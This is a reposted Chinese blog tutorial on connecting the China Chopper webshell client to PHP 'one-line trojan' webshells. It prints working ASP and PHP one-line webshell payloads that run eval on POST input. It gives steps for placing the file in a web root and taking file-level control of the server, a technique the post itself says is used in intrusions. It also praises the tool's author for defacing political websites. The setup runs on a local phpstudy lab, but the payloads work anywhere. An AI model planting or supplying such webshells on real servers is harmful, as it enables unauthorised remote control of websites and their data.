码迷,mamicode.com
首页 > 其他好文 > 详细

中国菜刀连接一句话木马

时间:2019-08-31 21:34:03      阅读:549      评论:0      收藏:0      [点我收藏+]

标签:false   post   有一个   mic   木马程序   删除   条件   mysql   菜刀   

中国菜刀的由来:

说起菜刀,就不得不提起菜刀的作者,作者是一个退伍军人,生长在一个贫穷的农村,据说初中也没读完,英语更是不咋地,但他却自学掌握了C++/J2ME/PHP/JSP/ASP.NET等等十数种计算机语言,当初在六七年前台湾闹独立的时候,他在国民党和民进党的网站上留下了“只有一个中国”的黑页,一举成名。

中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!

 

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

常用一句话木马如下:
asp一句话木马:
   <%execute(request("value"))%>
php一句话木马:
   <?php @eval($_POST[value]);?>

下面是通过php一句话木马来连接服务器。操作流程如下:

前提准备条件:

1.搭建php+mysql环境,我用的是phpstudy。

2.中国菜刀软件。

3.php一句话木马。

代码为:<?php @eval($_POST[‘test‘]);?> 文件名为one.php。

代码意思是:通过post木马程序来实现木马的植入,eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,且必须以分号结尾。如果没有在代码字符串中调用return语句,则返回NULL。如果代码中存在解析错误,则eval()函数返回false。其中test就是通过菜刀连接一句话的密码。

一、将文件名one.php放入phpstudy网站根目录下。如下图所示:

技术图片

 

 

二、打开中国菜刀软件,进行连接操作,看是否能够连接服务器,如下图所示:

技术图片

 

 

 

三、当点击添加时,就顺利的连接上服务器。此时可以在服务器进行增加、删除、修改操作。如下图所示:

技术图片

 

中国菜刀连接一句话木马

标签:false   post   有一个   mic   木马程序   删除   条件   mysql   菜刀   

原文地址:https://www.cnblogs.com/wangyuebo/p/11440221.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!